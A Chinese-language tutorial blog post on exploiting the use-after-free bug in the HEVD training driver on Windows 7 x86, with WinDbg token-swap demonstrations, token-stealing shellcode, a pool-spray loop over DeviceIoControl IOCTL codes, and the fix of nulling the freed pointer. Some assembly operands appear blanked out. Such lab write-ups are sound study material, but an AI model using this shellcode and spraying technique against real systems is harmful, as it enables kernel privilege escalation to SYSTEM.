Windows Kernel Exploit 内核漏洞学习(1)-UAF
0x00：前言最近重新开始了我的Windows内核之旅，这是我总结的Windows kernel exploit系列的第一部分，从简单的UAF入手，为什么第一篇是UAF呢，因为我参考的是wjllz师傅的文章，他写的非常好，这里我记录一下自己的学习过程供大家参考，第一篇我尽量写的详细一些，实验环境是Windows 7 x86 sp1，研究内核漏洞是一件令人兴奋的事情，希望能通过文章遇到更多志同道合的朋友，看此文章之前你需要有以下准备：[*]Windows 7 x86 sp1虚拟机
[*]配置好windbg等调试工具，建议配合VirtualKD使用
[*]HEVD+OSR Loader配合构造漏洞环境
0x01：漏洞原理提权原理首先我们要明白一个道理，运行一个普通的程序在正常情况下是没有系统权限的，但是往往在一些漏洞利用中，我们会想要让一个普通的程序达到很高的权限就比如系统权限，下面做一个实验，我们在虚拟机中用普通权限打开一个cmd然后断下来，用!dml_proc命令查看当前进程的信息kd> !dml_proc
AddressPIDImage file name
865ce8a8 4 System
87aa9970 10csmss.exe
880d4d40 164csrss.exe
881e6200 198wininit.exe
881e69e0 1a0csrss.exe
...
87040ca0 bc0cmd.exe我们可以看到System的地址是 865ce8a8 ，cmd的地址是 87040ca0 ，我们可以通过下面的方式查看地址中的成员信息，这里之所以 +f8 是因为token的位置是在进程偏移为 0xf8 的地方，也就是Value的值，那么什么是token?你可以把它比做等级，不同的权限等级不同，比如系统权限等级是5级(最高)，那么普通权限就好比是1级，我们可以通过修改我们的等级达到系统的5级权限，这也就是提权的基本原理，如果我们可以修改进程的token为系统的token，那么就可以提权成功，我们手动操作一次下面是修改前token值的对比kd> dt nt!_EX_FAST_REF 865ce8a8+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275 // system token
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x944a2c02 Void
+0x000 RefCnt : 0y010
+0x000 Value : 0x944a2c02 // cmd token我们通过ed命令修改cmd token的值为system tokenkd> ed 87040ca0+f8 8a201275
kd> dt nt!_EX_FAST_REF 87040ca0+f8
+0x000 Object : 0x8a201275 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8a201275用whoami命令发现权限已经变成了系统权限我们将上面的操作变为汇编的形式如下void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs: // 找到当前线程的_KTHREAD结构
mov eax, // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp , edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx,
mov , edx
popad
ret
}
}解释一下上面的代码，fs寄存器在Ring0中指向一个称为KPCR的数据结构，即FS段的起点与 KPCR 结构对齐，而在Ring0中fs寄存器一般为0x30，这样fs:就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大，在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead(KTHREAD类型)。这样fs:其实是指向当前线程的_KTHREADkd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches: Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2: Uint4B
+0x120 PrcbData : _KPRCB再来看看_EPROCESS的结构，+0xb8处是进程活动链表，用于储存当前进程的信息，我们通过对它的遍历，可以找到system的token，我们知道system的PID一直是4，通过这一点我们就可以遍历了，遍历到系统token之后替换就行了kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId: Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : Uint4B
+0x0c8 ProcessQuotaPeak : Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize: Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
...
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORDUAF原理如果你是一个pwn选手，那么肯定很清楚UAF的原理，简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况：
[*]内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。
[*]内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
[*]内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制，Windows下的内存申请也是有规律的，我们知道ExAllocatePoolWithTag函数中申请的内存并不是胡乱申请的，操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话，在源码中你会发现在UseUaFObject中存在g_UseAfterFreeObject->Callback();的片段，如果我们将Callback覆盖为shellcode就可以提权了typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer;
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // g_UseAfterFreeObject->shellcode();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}0x02：漏洞利用利用思路如果我们一开始申请堆的大小和UAF中堆的大小相同，那么就可能申请到我们的这块内存，假如我们又提前构造好了这块内存中的数据，那么当最后释放的时候就会指向我们shellcode的位置，从而达到提取的效果。但是这里有个问题，我们电脑中有许许多多的空闲内存，如果我们只构造一块假堆，我们并不能保证刚好能够用到我们的这块内存，所以我们就需要构造很多个这种堆，换句话说就是堆海战术吧，如果你看过0day安全这本书，里面说的堆喷射也就是这个原理。利用代码根据上面我们已经得到提权的代码，相当于我们只有子弹没有枪，这样肯定是不行的，我们首先伪造环境typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer countinter;
char bufffer;
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');接下来我们进行堆喷射for (int i = 0; i < 5000; i++)
{
// 调用 AllocateFakeObject() 对象
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}你可能会疑惑上面的IO控制码是如何得到的，这是通过逆向分析IrpDeviceIoCtlHandler函数得到的，我们通过DeviceIoControl函数实现对驱动中函数的调用，下面原理相同// 调用 UseUaFObject() 函数
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用 FreeUaFObject() 函数
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);如果你不清楚DeviceIoControl函数的话可以参考官方文档
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}上面是主要的代码，详细的代码参考这里，最后提权成功
0x03：补丁思考对于 UseAfterFree 漏洞的修复，如果你看过我写的一篇pwn-UAF入门的话，补丁的修复就很明显了，我们漏洞利用是在 free 掉了对象之后再次对它的引用，如果我们增加一个条件，判断对象是否为空，如果为空则不调用，那么就可以避免 UseAfterFree 的发生，而在FreeUaFObject()函数中指明了安全的措施，我们只需要把g_UseAfterFreeObject置为NULL#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);下面是在UseUaFObject()函数中的修复方案：if(g_UseAfterFreeObject != NULL)
{
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}0x04：后记这一篇之后我会继续写windows-kernel-exploit系列2，主要还是研究HEVD中的其他漏洞，类似的UAF漏洞可以参考我研究的2014-4113和我即将研究的2018-8120，最后，吹爆wjllz师傅！
参考链接：
https://rootkits.xyz/blog/2018/04/kernel-use-after-free/
https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/
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